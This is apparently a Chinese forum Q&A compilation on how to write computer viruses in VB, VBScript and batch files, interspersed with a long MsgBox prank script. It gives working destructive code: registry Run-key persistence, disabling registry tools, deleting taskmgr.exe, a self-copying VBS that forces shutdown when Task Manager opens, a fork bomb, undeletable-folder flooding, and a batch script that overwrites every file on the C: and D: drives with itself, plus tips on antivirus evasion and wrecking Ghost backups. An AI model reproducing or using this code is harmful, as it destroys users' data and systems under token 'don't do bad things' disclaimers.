用VB怎么样编写病毒

告诉你几个VB写病毒的常识,不要做坏事!!!

HideCurrentProcess '隐藏进程

Dim hKey As Long, SubKey As String, Exe As String

SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"

Exe = App.Path "\" App.EXEName ".exe"

RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey

RegSetValueEx hKey, "19911593", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1

RegCloseKey hKey'开机启动

Dim hKey As Long

RegCreateKey HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", hKey

RegSetValueEx hKey, "DisableRegistryTools", 0, REG_DWORD, 1, 4

RegCloseKey hKey'禁止访问注册表

KILL"C:\\WINDOWS\SYSTEM32\taskmgr.exe"'删除任务管理器

整人代码:

Msgbox "欢迎来到整人之家", 1, "You're foolish!"

Msgbox "我是cy07",1, "You're foolish!"

Msgbox "我的OICQ是371042", 1, "You're foolish!"

Msgbox "或者15081189", 1, "You're foolish!"

Msgbox "也可以是15081190", 1, "You're foolish!"

Msgbox "你一定得18岁才准进入，请按确定", 1, "You're foolish!"

Msgbox "进入此站时，不许说粗话！！同意请按确定", 1, "You're foolish!"

Msgbox "我不相信你…………", 1, "You're foolish!"

Msgbox "很对不起~但我得看你的身份证", 1, "You're foolish!"

Msgbox "拿着你的身份证对着萤幕", 1, "You're foolish!"

Msgbox "现在我得检查你的性别", 1, "You're foolish!"

Msgbox "对！！检查你的性别！！！！", 1, "You're foolish!"

Msgbox "据我的推测，你不是男的就是女的", 1, "You're foolish!"

Msgbox "OH~YEAH~开个玩笑嘛", 1, "You're foolish!"

Msgbox "为什麽这个主机要把这个网页放上来？？", 1, "You're foolish!"

Msgbox "嘿嘿…………不知道吧？？", 1, "You're foolish!"

Msgbox "因为这主机被某人耍了", 1, "You're foolish!"

Msgbox "算了！！", 1, "You're foolish!"

Msgbox "你知不知道你现在得一直按确定ㄚ？？", 1, "You're foolish!"

Msgbox "你得全部都按光耶！！", 1, "You're foolish!"

Msgbox "ㄛ喔！！", 1, "You're foolish!"

Msgbox "换句话说~你被卡在这里了！！", 1, "You're foolish!"

Msgbox "ㄛ喔！！", 1, "You're foolish!"

Msgbox "除非我打算让你走……", 1, "You're foolish!"

Msgbox "可是……我什麽时候会想让你走咧？？", 1, "You're foolish!"

Msgbox "不过~可喜的是你现在一直做的很好！！", 1, "You're foolish!"

Msgbox "你按确定的姿势有很大的进步喔！！", 1, "You're foolish!"

Msgbox "对！进步很多啦！！", 1, "You're foolish!"

Msgbox "既然你被卡在这里~我只好跟你讲一个故事来解解闷喽！！", 1, "You're foolish!"

Msgbox "你一定很想听吧？？", 1, "You're foolish!"

Msgbox "我这麽做是为了让你呆久一点，知道吗？？", 1, "You're foolish!"

Msgbox "ㄛ喔！！", 1, "You're foolish!"

Msgbox "仔细听好~故事开始喽！", 1, "You're foolish!"

Msgbox "很久很久很久很久以前~有一个网瘾狂，", 1, "You're foolish!"

Msgbox "任何一个上网的机会他都不会错过", 1, "You're foolish!"

Msgbox "感觉很熟悉吧？？", 1, "You're foolish!"

Msgbox "无论如何！！", 1, "You're foolish!"

Msgbox "他爸妈跟他说他不该上太多网", 1, "You're foolish!"

Msgbox "不然的话就会有些怪人带他去些怪地方", 1, "You're foolish!"

Msgbox "ㄛ喔！！", 1, "You're foolish!"

Msgbox "可是他从来都不听。有一天他到了某个网站…………", 1, "You're foolish!"

Msgbox "这里真的很烦！！", 1, "You're foolish!"

Msgbox "从此以后~他再也不想上网了", 1, "You're foolish!"

Msgbox "ㄛ喔~嘿嘿嘿！！", 1, "You're foolish!"

Msgbox "你能猜的出来他到了哪个站了吗？？", 1, "You're foolish!"

Msgbox "很简单的问题吧？！", 1, "You're foolish!"

Msgbox "没错！！他到了这里！！", 1, "You're foolish!"

Msgbox "ㄛ喔！！", 1, "You're foolish!"

Msgbox "你大概在猜这里面所隐藏的东西应该有一些意义吧？？", 1, "You're foolish!"

Msgbox "ㄛ喔！！", 1, "You're foolish!"

Msgbox "可是，一点意义都没有！！", 1, "You're foolish!"

Msgbox "ㄟ~~事实上~~算是有一个原因啦！！", 1, "You're foolish!"

Msgbox "想知道吗？？", 1, "You're foolish!"

Msgbox "那就是把你卡在这里啦！！", 1, "You're foolish!"

Msgbox "ㄛ喔！！", 1, "You're foolish!"

Msgbox "嗯~~说真的这站实在很 *** ！", 1, "You're foolish!"

Msgbox "对啦~按确定练习站！！", 1, "You're foolish!"

Msgbox "你大概推测出来了吧？？", 1, "You're foolish!"

Msgbox "对了~你知道吗？？", 1, "You're foolish!"

Msgbox "如果你想把你的任何一个朋友搞疯掉", 1, "You're foolish!"

Msgbox "你可以把这个站寄给他！！", 1, "You're foolish!"

Msgbox "Wow~听起来很过瘾吧？！", 1, "You're foolish!"

Msgbox "大概要按90多次确定吧？？", 1, "You're foolish!"

Msgbox "ㄛ喔？！", 1, "You're foolish!"

Msgbox "所以呢~当你进入这站的时候……", 1, "You're foolish!"

Msgbox "就顺便把这网站寄给大家吧！", 1, "You're foolish!"

Msgbox "让他们了解一下你现在的感受！！", 1, "You're foolish!"

Msgbox "ㄛ喔！！", 1, "You're foolish!"

Msgbox "你现在终於可以进入这网站啦！！", 1, "You're foolish!"

Msgbox "谢天谢地！", 1, "You're foolish!"

Msgbox "等等！！……", 1, "You're foolish!"

Msgbox "我想跟你说另外一个故事", 1, "You're foolish!"

Msgbox "ㄛ喔！！", 1, "You're foolish!"

Msgbox "你快疯了吧？？", 1, "You're foolish!"

Msgbox "这可不是我的错喔~~你应该在网上找些别的东西！！", 1, "You're foolish!"

Msgbox "知道了吧？？现在你可能可以了解上网的坏处了吧！！", 1, "You're foolish!"

Msgbox "因为你还有可能碰到类似的网页喔！", 1, "You're foolish!"

Msgbox "你仔细想一想……不觉得有趣吗？", 1, "You're foolish!"

Msgbox "好吧~我对不起你！", 1, "You're foolish!"

Msgbox "你生命可以继续啦！", 1, "You're foolish!"

Msgbox "还有…………", 1, "You're foolish!"

Msgbox "你打算再听一个故事吗？", 1, "You're foolish!"

Msgbox "ㄛ喔！！", 1, "You're foolish!"

Msgbox "现在是不是有一种想要骂人的感觉？", 1, "You're foolish!"

Msgbox "可是我们说好了的…………", 1, "You're foolish!"

Msgbox "？？？", 1, "You're foolish!"

Msgbox "算了，我还是放你走吧！", 1, "You're foolish!"

vbs脚本病毒编写教程（不是拿去害人，是自己用来玩玩） 急！！！！！

Set ws=WScript.CreateObject("wscript.shell")

Set fso=WScript.CreateObject("scripting.filesystemobject")

path1=fso.GetSpecialFolder(1)

Set fs1=fso.getfile(WScript.ScriptFullName)

path2=path1 "\" fs1.Name

ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aa","""" path2 """","REG_SZ"

If Not fso.FileExists(path2) then

fs1.Copy(path1 "\")

ws.Run """" path2 """",True,True

End If

do

Set wmi=GetObject("winmgmts:\\.\root\cimv2")

Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")

If list.count0 Then

Call fun2()

End If

WScript.Sleep 3000

loop

Function fun2()

do

Set wmi2=GetObject("winmgmts:\\.\root\cimv2")

Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")

If list2.count=0 Then

Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")

Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")

For Each uu In list3

uu.win32shutdown(2+4)

next

End If

wscript.sleep 2000

loop

End function

用vb这么编病毒，木马，黑客工具之类的程序！

用VB当然可以编写病毒，可以做到隐藏进程以及其他病毒可以做到的功能，网上有用VB编写病毒的视频教程！不过如楼上所说，“走歪路不好”，不要用来害人啊！不过可以用来研究下技术！想学黑客技术，也有很多地方搞培训，可以搜一下很多的！

怎样设计简单的电脑病毒

很复杂得未必好，简单编了就被反病毒程序删除了，首先要使杀毒软件失效或躲过其病毒特征码识别。最基本思路是这样的：

1最简单就是让你一点击我的exe文件就死机.

（使你电脑使用率到达100%只是小伎俩)

2多数以Win32文件夹为主要目标的

3修改系统注册表

4自动复制源文件

5也可以额外对病毒加密

6DOS攻击

7修改，关闭，植入进程，

8病毒进入内存，自动让其读取中

9破坏GHO文件，使其电脑的Ghost无法使系统还原

10.对EXE、SCR、PIF、COM，htm/.html/.asp/.php/.jsp/.aspx任何文件添加恶意代码，如果你愿意也可以 *** 针对NOKIA的Symbian手机病毒SIS格式和电脑用蓝牙，数据线连接

11创新是编写的生命。但无理头的方案反而更糟，我这北美洲病毒很多，我特意去中毒收集病毒，研究以得到新思路，不过别拿心爱的电脑试验如果你经常更新硬件就是你的事了。我正考虑是否攻读黑客专业以利于以后在联邦 *** 安全部门工作，与当地的黑客只是冰山一角，正在学习

利用其实国产的反病毒更大的漏洞是经常更新，但忽略了有时拿十年前的病毒略加修改就躲过

加我为好友以后慢慢教你。

灰鸽子挂马，ASP似乎成了盗账号的唯一流行手段了，哈哈，1:29AM我去睡了

病毒 *** 教程

*** 自己玩玩可以，要是上传或者散播给他人就会有法律责任。

*** 病毒这玩意，你还是去网上找教程吧。也不是一时半会一天两天你就能回。比如什么黑客基地

电脑病毒 *** 教程

很荣幸能够回答您的问题！

桌面上创建记事本，改后缀为bat

2

::输入以下代码

%0|%0

保存后退出，打开会发现无限制的弹窗。这是什么原理呢？

执行脚本的时候，|管道符会将左面的值传给右边，而这里%0是之一个参数（批处理路径），所以会无限执行自己。

END

第二种病毒

这种更强大一些。同样，桌面上创建记事本，改后缀为bat

::输入以下代码

for /l %%i in (1 1 999999) do md A..\

这个病毒利用Windows命名漏洞，创建999999个删除不了也打不开的文件夹。解决 *** ：把md改为rd

END

第三种病毒

这种病毒更高级，攻击性能更强。同样，桌面上创建记事本，改后缀为bat

@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit

:a

set /a a+=1

echo %random%-%random%-%random% C:\Users\%username%\Desktop\病毒文件.%random%

mshta javascript:alert("您已中第%a%个病毒.");close();

goto a

这个病毒会在后台运行，在桌面重复弹信息框，生成垃圾文件，千万不敢随意测试，因为电脑会消耗尽内存后蓝屏。

END

第四种病毒

这种病毒最有破坏性，跟熊猫烧香媲美。同样，桌面上创建记事本，改后缀为bat

@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit

for /f "tokens=* delims=" %%i in ('dir /b D:\*.*') do copy /y "%dpnx0" "%%i" nul

for /f "tokens=* delims=" %%i in ('dir /b C:\*.*') do copy /y "%dpnx0" "%%i" nul

此程序特别狠，会在后台把C、D盘所有的文件都替换成自己（病毒文件，然后会又被执行）。

希望能帮到您，如有疑问，请追问！

病毒编写教程

《黑客X档案》的系列丛书不错，有各个方面的，像《黑客编程入门》，《黑客脚本攻击》《黑客免杀入门》都是不错的，而且都带光碟，《傻瓜黑客》更是适合新手。